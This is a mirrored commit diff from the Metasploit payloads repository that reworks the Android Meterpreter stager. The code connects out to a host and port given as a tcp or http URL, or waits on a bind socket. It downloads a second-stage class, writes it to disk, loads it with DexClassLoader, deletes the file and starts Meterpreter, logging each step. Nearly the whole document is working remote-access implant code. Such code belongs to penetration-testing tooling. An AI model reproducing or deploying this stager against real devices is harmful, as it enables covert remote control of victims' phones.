mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-06 09:13:02 +01:00
Modify the staging process
This commit is contained in:
parent
fc775349fc
commit
4ed2b484f0
@ -1,6 +1,7 @@
|
||||
package com.metasploit.stage;
|
||||
|
||||
import android.content.Context;
|
||||
import android.util.Log;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
@ -9,6 +10,7 @@ import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
@ -20,11 +22,10 @@ public class Payload {
|
||||
|
||||
public static final String URL = "ZZZZ ";
|
||||
public static final String CERT_HASH = "WWWW ";
|
||||
public static final String LHOST = "XXXX127.0.0.1 ";
|
||||
public static final String LPORT = "YYYY4444 ";
|
||||
public static final String RETRY_TOTAL = "TTTT ";
|
||||
public static final String RETRY_WAIT = "SSSS ";
|
||||
public static final String TIMEOUTS = "TTTT ";
|
||||
|
||||
public static long session_expiry;
|
||||
public static long comm_timeout;
|
||||
public static long retry_total;
|
||||
public static long retry_wait;
|
||||
|
||||
@ -50,84 +51,121 @@ public class Payload {
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
Log.d("msf", "In main()");
|
||||
if (args != null) {
|
||||
File currentDir = new File(".");
|
||||
String path = currentDir.getAbsolutePath();
|
||||
parameters = new String[]{path};
|
||||
}
|
||||
int retryTotal;
|
||||
int retryWait;
|
||||
long sessionExpiry;
|
||||
long commTimeout;
|
||||
long retryTotal;
|
||||
long retryWait;
|
||||
Log.d("msf", "Timeouts: " + TIMEOUTS.substring(4));
|
||||
String[] timeouts = TIMEOUTS.substring(4).trim().split("-");
|
||||
try {
|
||||
retryTotal = Integer.parseInt(RETRY_TOTAL.substring(4).trim());
|
||||
retryWait = Integer.parseInt(RETRY_WAIT.substring(4).trim());
|
||||
Log.d("msf", "Session Expiry: " + timeouts[0]);
|
||||
sessionExpiry = Integer.parseInt(timeouts[0]);
|
||||
Log.d("msf", "Comm Timeout: " + timeouts[1]);
|
||||
commTimeout = Integer.parseInt(timeouts[1]);
|
||||
Log.d("msf", "Retry total: " + timeouts[2]);
|
||||
retryTotal = Integer.parseInt(timeouts[2]);
|
||||
Log.d("msf", "Retry wait: " + timeouts[3]);
|
||||
retryWait = Integer.parseInt(timeouts[3]);
|
||||
} catch (NumberFormatException e) {
|
||||
return;
|
||||
}
|
||||
|
||||
long payloadStart = System.currentTimeMillis();
|
||||
session_expiry = TimeUnit.SECONDS.toMillis(sessionExpiry) + payloadStart;
|
||||
comm_timeout = TimeUnit.SECONDS.toMillis(commTimeout);
|
||||
retry_total = TimeUnit.SECONDS.toMillis(retryTotal);
|
||||
retry_wait = TimeUnit.SECONDS.toMillis(retryWait);
|
||||
|
||||
while (System.currentTimeMillis() < payloadStart + retry_total) {
|
||||
String url = URL.substring(4).trim();
|
||||
Log.d("msf", "URL = " + url);
|
||||
// technically we need to check for session expiry here as well.
|
||||
while (System.currentTimeMillis() < payloadStart + retry_total &&
|
||||
System.currentTimeMillis() < session_expiry) {
|
||||
try {
|
||||
if (URL.substring(4).trim().length() == 0) {
|
||||
reverseTCP();
|
||||
if (url.startsWith("tcp")) {
|
||||
runStagefromTCP(url);
|
||||
} else {
|
||||
reverseHTTP();
|
||||
runStageFromHTTP(url);
|
||||
}
|
||||
return;
|
||||
break;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
try {
|
||||
Thread.sleep(retry_wait);
|
||||
} catch (InterruptedException e) {
|
||||
return;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void reverseHTTP() throws Exception {
|
||||
String lurl = URL.substring(4).trim();
|
||||
private static void runStageFromHTTP(String url) throws Exception {
|
||||
InputStream inStream;
|
||||
if (lurl.startsWith("https")) {
|
||||
URLConnection uc = new URL(lurl).openConnection();
|
||||
if (url.startsWith("https")) {
|
||||
URLConnection uc = new URL(url).openConnection();
|
||||
Class.forName("com.metasploit.stage.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, uc);
|
||||
inStream = uc.getInputStream();
|
||||
} else {
|
||||
inStream = new URL(lurl).openStream();
|
||||
inStream = new URL(url).openStream();
|
||||
}
|
||||
OutputStream out = new ByteArrayOutputStream();
|
||||
DataInputStream in = new DataInputStream(inStream);
|
||||
loadStage(in, out, parameters);
|
||||
readAndRunStage(in, out, parameters);
|
||||
}
|
||||
|
||||
private static void reverseTCP() throws Exception {
|
||||
String lhost = LHOST.substring(4).trim();
|
||||
String lport = LPORT.substring(4).trim();
|
||||
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
|
||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||
loadStage(in, out, parameters);
|
||||
private static void runStagefromTCP(String url) throws Exception {
|
||||
// string is in the format: tcp://host:port
|
||||
String[] parts = url.split(":");
|
||||
int port = Integer.parseInt(parts[2]);
|
||||
String host = parts[1].split("/")[2];
|
||||
Socket sock = null;
|
||||
|
||||
Log.d("msf", "Host is: " + host);
|
||||
if (host.equals("")) {
|
||||
Log.d("msf", "Bind socket");
|
||||
ServerSocket server = new ServerSocket(port);
|
||||
sock = server.accept();
|
||||
server.close();
|
||||
} else {
|
||||
Log.d("msf", "Reverse socket");
|
||||
sock = new Socket(host, port);
|
||||
}
|
||||
|
||||
if (sock != null) {
|
||||
Log.d("msf", "Socket connected");
|
||||
DataInputStream in = new DataInputStream(sock.getInputStream());
|
||||
OutputStream out = new DataOutputStream(sock.getOutputStream());
|
||||
readAndRunStage(in, out, parameters);
|
||||
}
|
||||
}
|
||||
|
||||
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
private static void readAndRunStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
String path = parameters[0];
|
||||
String filePath = path + File.separatorChar + "payload.jar";
|
||||
String dexPath = path + File.separatorChar + "payload.dex";
|
||||
|
||||
// Read the class name
|
||||
int coreLen = in.readInt();
|
||||
Log.d("msf", "Class length: " + coreLen);
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
String classFile = new String(core);
|
||||
Log.d("msf", "Class: " + classFile);
|
||||
|
||||
// Read the stage
|
||||
coreLen = in.readInt();
|
||||
Log.d("msf", "Core length: " + coreLen);
|
||||
core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
|
||||
File file = new File(filePath);
|
||||
Log.d("msf", "Writing to: " + filePath);
|
||||
if (!file.exists()) {
|
||||
file.createNewFile();
|
||||
}
|
||||
@ -137,12 +175,16 @@ public class Payload {
|
||||
fop.close();
|
||||
|
||||
// Load the stage
|
||||
Log.d("msf", "Loading into classloader");
|
||||
DexClassLoader classLoader = new DexClassLoader(filePath, path, path,
|
||||
Payload.class.getClassLoader());
|
||||
Class<?> myClass = classLoader.loadClass(classFile);
|
||||
Log.d("msf", "Class loaded");
|
||||
final Object stage = myClass.newInstance();
|
||||
Log.d("msf", "Instance " + (stage == null ? "null" : "created"));
|
||||
file.delete();
|
||||
new File(dexPath).delete();
|
||||
Log.d("msf", "Invoking Meterpreter");
|
||||
myClass.getMethod("start",
|
||||
new Class[]{DataInputStream.class, OutputStream.class, String[].class})
|
||||
.invoke(stage, in, out, parameters);
|
||||
|
@ -1,5 +1,6 @@
|
||||
|
||||
package androidpayload.stage;
|
||||
import android.util.Log;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
@ -10,11 +11,12 @@ import dalvik.system.DexClassLoader;
|
||||
import javapayload.stage.Stage;
|
||||
|
||||
/**
|
||||
* Meterpreter Java Payload Proxy
|
||||
* Meterpreter Android Payload Proxy
|
||||
*/
|
||||
public class Meterpreter implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
Log.d("msf", "Meterpreter stage constructing");
|
||||
String path = parameters[0];
|
||||
String filePath = path + File.separatorChar + "met.jar";
|
||||
String dexPath = path + File.separatorChar + "met.dex";
|
||||
@ -23,8 +25,10 @@ public class Meterpreter implements Stage {
|
||||
int coreLen = in.readInt();
|
||||
byte[] core = new byte[coreLen];
|
||||
in.readFully(core);
|
||||
Log.d("msf", "Meterpreter stage 2 length: " + coreLen);
|
||||
|
||||
// Write the stage to /data/data/.../files/
|
||||
Log.d("msf", "Meterpreter stage 2 writing to: " + filePath);
|
||||
File file = new File(filePath);
|
||||
if (!file.exists()) {
|
||||
file.createNewFile();
|
||||
@ -37,8 +41,10 @@ public class Meterpreter implements Stage {
|
||||
// Load the stage
|
||||
DexClassLoader classLoader = new DexClassLoader(filePath, path, path, Meterpreter.class.getClassLoader());
|
||||
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
|
||||
Log.d("msf", "Class loading " + (classLoader == null ? "failed" : "succeeded"));
|
||||
file.delete();
|
||||
new File(dexPath).delete();
|
||||
Log.d("msf", "Calling constructor");
|
||||
myClass.getConstructor(new Class[]{
|
||||
DataInputStream.class, OutputStream.class, String[].class, boolean.class
|
||||
}).newInstance(in, out, parameters, false);
|
||||
|
@ -92,6 +92,7 @@ public class AndroidMeterpreter extends Meterpreter {
|
||||
|
||||
public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, String[] parameters, boolean redirectErrors) throws Exception {
|
||||
super(in, rawOut, true, redirectErrors, false);
|
||||
System.out.println("msf : Android Meterpreter constructing");
|
||||
writeableDir = parameters[0];
|
||||
try {
|
||||
findContext();
|
||||
|
@ -19,6 +19,7 @@ public class DebugLoader {
|
||||
System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
||||
return;
|
||||
}
|
||||
String url = "tcp://" + args[0] + ":" + args[1];
|
||||
Socket msgsock = new Socket(args[0], Integer.parseInt(args[1]));
|
||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||
|
@ -20,7 +20,8 @@ public class URLDebugLoader {
|
||||
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
||||
return;
|
||||
}
|
||||
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
|
||||
String url = "http://" + args[0] + ":" + args[1] + "/INITJM";
|
||||
URL initURL = new URL(url);
|
||||
DataInputStream in = new DataInputStream(initURL.openStream());
|
||||
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
|
||||
int coreLen = in.readInt();
|
||||
|
@ -65,6 +65,7 @@ public class Meterpreter {
|
||||
* @throws Exception
|
||||
*/
|
||||
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
|
||||
System.out.println("msf : Meterpreter constructing");
|
||||
this.loadExtensions = loadExtensions;
|
||||
this.in = in;
|
||||
this.out = new DataOutputStream(rawOut);
|
||||
|
Loading…
x
Reference in New Issue
Block a user